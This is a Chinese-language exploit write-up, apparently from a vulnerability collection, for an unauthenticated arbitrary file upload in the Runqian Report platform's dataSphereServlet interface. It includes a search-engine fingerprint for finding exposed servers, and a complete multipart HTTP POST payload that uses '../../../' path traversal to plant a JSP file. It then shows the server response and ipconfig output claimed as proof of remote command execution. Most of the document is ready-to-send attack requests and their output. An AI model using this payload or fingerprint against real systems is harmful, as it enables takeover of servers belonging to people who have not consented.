R15-4润乾报表-企业级报表工具-文件上传

漏洞描述：

润乾报表平台 dataSphereServlet 接口存在任意文件上传漏洞，未经身份攻击者可通过该漏洞上传恶意后门文件，执行任意指令，最终可导致服务器失陷。

网站图片：

网络测绘：

Hunter 语法：

鹰图指纹：app.name="润乾报表平台"

漏洞复现：

payload：

```
POST /servlet/dataSphereServlet?action=38 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAT7qVwFychEm0Dt7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryAT7qVwFychEm0Dt7
Content-Disposition: form-data; name="openGrpxFile"; filename="qwe.jsp"
Content-Type: text/plain

<% out.println("hello"); %>
------WebKitFormBoundaryAT7qVwFychEm0Dt7
Content-Disposition: form-data; name="path"

../../../
------WebKitFormBoundaryAT7qVwFychEm0Dt7
Content-Disposition: form-data; name="saveServer"

1
------WebKitFormBoundaryAT7qVwFychEm0Dt7--
```

效果图:

Request

数据包扫描 美化 热加载 构造请求

```
POST /servlet/dataSphereServlet?action=38 HTTP/1.1
Host [redacted]:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAT7qVwFychEm0Dt7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryAT7qVwFychEm0Dt7
Content-Disposition: form-data; name="openGrpxFile"; filename="qwe.jsp"
Content-Type: text/plain

<% out.println("hello"); %>
------WebKitFormBoundaryAT7qVwFychEm0Dt7
Content-Disposition: form-data; name="path"

../../../
------WebKitFormBoundaryAT7qVwFychEm0Dt7
Content-Disposition: form-data; name="saveServer"

1
------WebKitFormBoundaryAT7qVwFychEm0Dt7--
```

Responses 93bytes / 8ms

```
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=B33
Content-Type: text/html;ch
Date: Sat, 20 Apr 2024 05:
Connection: close
Content-Length: 93

<script language=javascrip
parent.openFileCallback(nu
</script>
```

验证

hello

RCE


```
Windows IP ??


?????? ???:

   ????? DNS ?? . . . . . . . :
   IPv4 ?? . . . . . . . . . . . . : 192.168.0.19
   ????  . . . . . . . . . . . . . : 255.255.255.0
   ????. . . . . . . . . . . . . . : 192.168.0.1
```